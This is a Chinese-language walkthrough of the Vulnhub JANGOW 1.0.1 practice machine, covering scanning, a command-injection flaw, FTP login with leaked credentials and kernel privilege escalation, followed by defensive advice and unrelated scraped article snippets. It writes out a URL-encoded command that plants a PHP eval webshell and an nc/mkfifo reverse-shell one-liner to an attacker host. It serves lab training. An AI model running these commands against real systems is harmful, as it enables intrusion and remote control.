【靶场实战】Vulnhub - JANGOW: 1.0.1 靶标实战

靶场地址:https://www.vulnhub.com/entry/jangow-101,754/

靶场IP:192.168.160.215

信息收集
使用Nmap对目标进行扫描
Nmap -sV -O -p- 192.168.160.215
在这里插入图片描述
经过漫长的等待扫描完成,该靶标开启了21、80两个端口,21端口运行服务为ftp,其版本为 vsftpd 3.0.3 ,80端口运行服务为Apache httpd 2.4.18,系统信息为 Linux 3.X|4.X

首先呢,我们访问80端口看有什么发现
在这里插入图片描述
可以看到这是一个目录遍历,有一个site目录,操作系统为Ubuntu,点击site目录
在这里插入图片描述
跳转到一个Web页面,页面右上角有三个模块,点击之后就是当前页面的下面部分,但是点击Buscar模块页面出现空白,但是出现如下链接
http://192.168.160.215/site/busque.php?buscar=
在这里插入图片描述
可以看到buscar未被赋值,猜测应该是代码执行或者是命令执行漏洞,那么就尝试一下输入命令看有无返回信息。
在这里插入图片描述
经过尝试发现可以进行命令执行。那么好我们姑且先暂时放下这块,我们一般看到这种URL可能会想到的操作就是扫描一下子它的目录,看有啥好东西。
在这里插入图片描述
发现有一个 .backup、site目录,我们就site目录继续深入扫描
在这里插入图片描述
通过两个目录扫描,共发现存在 .backup、/site/assets/、/site/css/、/site/index.html、/site/js、/site/wordpress/ 这几个目录和文件。

那我们就逐个去看一下
访问 .backup文件显示的是数据库的连接账号和密码
在这里插入图片描述
通过这里的代码可知一些信息就是当前这个网站采用的可能是php+mysql,里面存在连接数据库的账密,但是在扫描的时候并没有看到数据库端口,猜测应该是对外关闭了。

http://192.168.160.215/site/assets/ 介个是一个目录遍历,都是一些图片,没发现啥有用的信息。
在这里插入图片描述
http://192.168.160.215/site/css/styles.css 这里面都是前端的一些源码类似的,没用
在这里插入图片描述
http://192.168.160.215/site/wordpress/ 这个页面貌似与主页面一样的,没有啥可利用信息。
在这里插入图片描述
在信息收集阶段我们得到的有用的信息是,一个.backup里面存放着链接mysql的数据库账号密码,还有一个链接可以执行命令的。

漏洞利用

在信息收集阶段我们通过探测发现开放着除了80,还有一个21端口,那么对于ftp 21端口我们也是可以尝试渗透的,攻击的方法就是对21端口爆破FTP的密码,但是感觉希望不大。

但是突然想到这个靶场他就开着两个端口,那么我们刚才从80端口拿到一些敏感信息,那会不会在21上也会有用处呢,带着好奇心我们来尝试一下。
在这里插入图片描述
在这里插入图片描述
成功连接!

尝试上传马,但是FTP做了限制上传的限制。
在这里插入图片描述
既然上传不了,那就在寻找其他办法。

在翻阅目录时发现wordpress目录下的config.php文件找到了第二个用户和密码,和一个连接数据库的php脚本。
在这里插入图片描述
那么就尝试访问一下这个地址链接,访问地址测试数据库的连接失败了,应该是账密有问题。
在这里插入图片描述
在家目录下找到账户jangow01的flag:
在这里插入图片描述
现在找到了一个flag,但是呢!目前还没办法GetShell,思来想去,对了,我们刚刚有一个可以执行命令的链接,从哪里可不可以拿到WebShell呢,废话不多说,直接干!!!

执行命令看看当前目录有啥,路径是啥
在这里插入图片描述
在这里插入图片描述
那就尝试直接使用命令写入WebShell
http://192.168.160.215/site/busque.php?buscar=echo%20%27%3C?php%20@eval($_REQUEST[%27pass%27]);%20echo%20%27OK%27;?%3E%27%20%3E%20shell.php
使用命令ls查看一下是否写入成功
在这里插入图片描述
访问shell.php测试一下
在这里插入图片描述
使用蚁剑进行连接
在这里插入图片描述
查看当前权限
在这里插入图片描述
www-data权限,并开着3306数据库端口。尝试寻找账号密码进行Mysql UDF提权,但无果。

反弹Shell

查看靶机支持反弹Shell的方法
在这里插入图片描述
可以看到有bash、python、php、exec、perl

反弹Shell可以参考:https://forum.ywhack.com/shell.php
在这里插入图片描述
(反弹Shell弄了很久,尝试了各种反弹Shell都没有成功)

猜测可能是防火墙做了端口的限制;这里做个验证,在前面的信息收集中,靶机开启了22端口但是我们从外部没有扫描到;可以通过查看ssh的配置文件看看是否修改了端口;
在这里插入图片描述
这里看到配置文配置的端口还是22端口,可以确定是防火墙做了一些限制,于是就尝试了常用的端口,发现在443端口就可以成功反弹,使用nc进行反弹:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.160.158 443 >/tmp/f
在这里插入图片描述
成功接收到返回的Shell。

权限提升

查看系统版本
lsb_release -a ; uname -a
在这里插入图片描述
发现系统内核版本4.4 Ubuntu版本为16.04.1,通过在ExploitDB查找发现该版本存在有本地提权漏洞,也可以使用MSF搜索。

ExploitDB网址:https://www.exploit-db.com/
在这里插入图片描述
这里可以使用python调用本地的终端:

python -c 'import pty;pty.spawn("/bin/bash")'
在这里插入图片描述
这里使用su jangow01切换到jangow01用户下
在这里插入图片描述
将exp.c文件通过蚁剑上传至/tmp目录下,通过gcc将其编译可执行文件,修改可执行文件权限为777,使用./执行文件,获取root权限!!!
在这里插入图片描述
在这里插入图片描述
Flag在root目录下
在这里插入图片描述
到此渗透结束!!!

总结

过程回顾

本篇文章主要jangow1.0.1靶场渗透的过程进行后续分析,首先是通过Nmap对靶机进行端口和服务等信息的探测,发现目标存在Web服务和FTP服务,然后通过对目标网站进行扫描找到目标网站存在的备份文件,和其他网站路径,发现其带参数的URL,测试发现了命令执行漏洞,还通过备份文件中包含的用户和密码,登录上目标的FTP服务(但是没有上传权限)。

然后通过命令执行写入WebShell,然后通过分析发现靶机配置了防火墙规则只能通过固定的端口443向外传输数据,接着nc反弹Shell,使用python调用本地终端,最后使用Ubuntu 16.04本地提权漏洞进行权限提升,并获取了ROOT权限。

防御建议

1、敏感信息泄露:

1) 禁止在代码中存储敏感数据:禁止在代码中存储如数据库连接字符串、口令和密钥之类的敏感数据,这样容易导致泄密。用于加密密钥的密钥可以硬编码在代码中。
2) 禁止密钥或账号的口令以明文形式存储在数据库或者文件中:密钥或账号口令必须经过加密存储。

例外情况:如果Web容器的配置文件中只能以明文方式配置连接数据库的用户名和口令,那么就不用强制遵循该规则,将该配置文件的属性改为只有属主可读写。

2、命令执行漏洞:

  1. 尽量不去执行外部的应用程序或命令。
  2. 使用自定义函数或函数库实现外部应用程序或命令的功能。
  3. 在执行system、eval等命令执行功能的函数前,校验参数内容。

使用escapeshellarg函数处理相关参数。Escapeshellarg函数会将任何引起参数或命令结束的字符进行转义,如单引号(’)会被转义为(\’), 双引号(”)会被转义为(\”),分号(;)会被转义为(😉,这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中所包含的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的。

使用safe_mode_exec_dir执行可执行的文件路径。将php.ini文件中的safe_mode设置为on,然后将允许执行的文件放入一下目录中,并使用safe_mode_exec_dir指定这个可执行的文件路径。在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败。

3、目录浏览

Apache中关闭目录浏览功能:打开Apache配置文件httpd.conf,查找 “Options IndexesFollowSymLinks” ,修改为 “Options -Indexes” (减号表示取消),保存退出,重启Apache。

4、Ubuntu 16.04本地提权漏洞:即使更新系统版本,下载安装最新补丁。

5、 加装WAF,防火墙等安全设备。

6、使用最小权限原则,严格控制用户访问权限。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/254840.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

什么样的打码网站算正规的打码网站

自动打码平台是通过计算机语言对图片图片验证码的一种识别,将图片验证码通过系统自动的识别出来,并且通过一定的途径自动输入需要填写图片验证码的框。这样的平台就成为打码平台平台。实际上就是对于图片验证码的识别破解。答题吧打码平台平台就是利用的…

自动打码神器的准确率你担心么?

现在干什么都需要验证码,比如注册账号、登录账号等一些日常上网操作经常要输入验证码,而很多网站的验证码越来越难看懂。这样对于需要批量操作的人来说真的是折磨啊,但是有了这款验证码自动识别软件之后,大家就可以轻松识别复杂的…

JAVA 实现对图片打码,打马赛克

一. 图片区域类 package com.example.demo.xxx;/*** 图片区域类* author jlm**/ public class ImageArea {int x; //指定区域左上角横坐标int y; //指定区域左上角纵坐标int width; //指定区域宽度int height; //指定区域高度public ImageArea(int x, int y, int width, int h…

基于OpenCV_C++人脸检测打码技术

人脸检测并打码的关键&#xff0c;首先需要定位人脸区域&#xff0c;再修改人脸区域像素灰度值。 一 定义马赛克函数 定义生成马赛克函数 Generate_Mosaic&#xff0c;对图形 Mat& src 做操作&#xff0c;将需要操作的块&#xff08;faces&#xff09;存入数组 vector<…

Python可以解码吗,解码打码是如何实现的

前言 咳咳&#xff0c;进来的铁汁都是抱着学习的心态进来看的吧&#xff0c;咱今天不讲解解码&#xff0c;咱来说说python如何来实现打码功能~ 这一个个进来的 都是标题党吧哈哈哈 有兴趣的可以继续看看哦 最近重温了一档综艺节目 至于叫什么 这里就不细说了 老是看着看着就…

打码软件是真的吗

日前在各大社交网站上热传的“打码软件赚钱”帖子引发不少打码兼职人员的关注。“打码赚钱”到底出自何处&#xff1f;是否有充足的实例&#xff1f; 打码软件是什么&#xff1f; 打码软件是一些验证码识别平台推出来的一种通过任务的发放&#xff0c;让兼职者能够进行…

黑产揭秘:“打码平台”那点事儿

简介 互联网业务的飞速发展&#xff0c;日渐渗透人类的生活&#xff0c;对经济、文化、社会产生巨大的影响&#xff0c;同时互联网业务安全也日趋重要。如同网络通信的基础安全设施防火墙&#xff0c;互联网业务安全也有其基础安全设施&#xff0d;&#xff0d;图片验证码和短…

有没有自动打码的软件

验证码是一把双刃剑&#xff0c;对于有的人是好&#xff0c;但是对于有的人却是让人真心“香菇蓝瘦”。 场景一&#xff1a; A:两个小时就赚了几十块钱&#xff0c;买副眼镜都买不起&#xff0c;赚的钱都去了药店买眼药水了&#xff1b; B&#xff1a;是的啊&#xff0c;要是能…

chatgpt赋能python:Python中的逆序操作

Python 中的逆序操作 在 Python 中&#xff0c;逆序&#xff08;reverse&#xff09;操作指的是将一个序列的元素顺序反转&#xff0c;也即将序列中最后一个元素变成第一个&#xff0c;倒数第二个元素变成第二个&#xff0c;以此类推。逆序有很多实际用途&#xff0c;比如根据…

chatgpt赋能python:Python中的SEO

Python 中的 SEO 搜索引擎优化(SEO)是指通过改进网站的结构和内容&#xff0c;使其在搜索引擎中的排名更高&#xff0c;从而吸引更多的访问者。Python是一种流行的编程语言&#xff0c;其在SEO中也占有重要的地位。 Python 中的关键词密度 搜索引擎通常会关注网页中的关键词…

nginx修改监听端口号8080_解决Nginx启动失败

一、Nginx下载 http://nginx.org/en/download.html 二、Nginx启动失败原因 1、本人下载的是nginx-1.12.1(稳定版)&#xff0c;下载完解压后&#xff0c;进入路径中&#xff0c;start nginx&#xff0c;发现窗口闪过。但是查找不到nginx进程。 2、进入 nginx-1.12.1\logs 路径下…

nginx 启动前端包

项目是前后端分离&#xff1a;前端用vue开发&#xff0c;后端用的是springboot开发&#xff0c;用nginx启动代理&#xff0c;启动前端包 1、安装nginx&#xff08;此步骤就不细说了&#xff0c;如图&#xff09; 2、将前端包放入nginx文件夹下 注&#xff1a;我放在project文…

linux下nginx启动不了,Nginx启动失败的几种错误处理

nginx启动失败 启动nginx失败&#xff0c;报错信息如下: Starting nginx: nginx: [emerg] bind() to 0.0.0.0:**** failed (13: Permission denied) 这通常是因为开启了SELinux的原因&#xff0c;使用命令 getenforce 可以查看SELinux状态&#xff0c;如果输出为 enforcing …

NGINX启动报错,端口被占用

NGINX启动报错&#xff0c;端口被占用解决方案&#xff08;修改端口号&#xff09;   Nginx (engine x) 是一个高性能的HTTP和反向代理服务器&#xff0c;也是一个IMAP/POP3/SMTP服务器。Nginx是由伊戈尔赛索耶夫为俄罗斯访问量第二的Rambler.ru 站点&#xff08;俄文&#x…

Nginx启动问题解决

妈的。nginx访问不了。。。就是浏览器打开看不到nginx的标准界面。 我的是centos 7.6 解决&#xff1a; 1.前提&#xff1a;root权限 2. 检查防火墙 并centos 7对外开启80端口&#xff1a; 查看状态&#xff1a;systemctl status firewalld 开启防火墙&#xff1a;systemctl…

nginx启动web项目

1、服务器任何路径新建存放项目文件夹 例如&#xff1a;/home/www/xtzl_platform_web 将web项目的压缩包存放到xtzl_platform_web目录下并解压 3、修改nginx配置文件nginx.conf cd /usr/local/nginx/conf ,修改nginx.conf文件 添加新路径 &#xff08;1&#xff09;al…

nginx 启动、停止、关闭

1&#xff0c;nginx 指定配置文件 /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf -c 参数 指定了要加载的nginx配置文件路径 1,从容停止Nginx&#xff1a; kill -QUIT 主进程号 2,快速停止Nginx&#xff1a; kill -TERM 主进程号 3,强制停止Nginx&am…

nginx 启动报错

systemctl start nginx 启动报错 报错内容如下&#xff1a; Job for nginx.service failed because the control process exited with error code. See “systemctl status nginx.service” and “journalctl -xe” for details. nginx -t 检查没有问题 systemctl status n…

解决nginx启动闪退

1.首先我们先了解一下nginx&#xff0c;&#xff08;以下来自百度文献&#xff09; Nginx (engine x) 是一个高性能的HTTP和反向代理web服务器 [13] &#xff0c;同时也提供了IMAP/POP3/SMTP服务。Nginx是由伊戈尔赛索耶夫为俄罗斯访问量第二的Rambler.ru站点&#xff08;俄文…

MySQL数据库 1.概述

数据库相关概念&#xff1a; 数据库(Database)&#xff1a;数据库是指一组有组织的数据的集合&#xff0c;通过计算机程序进行管理和访问。数据库管理系统&#xff1a;操纵和管理数据库的大型软件SQL&#xff1a;操作关系型数据库的编程语言&#xff0c;定义了一套操作关系型数…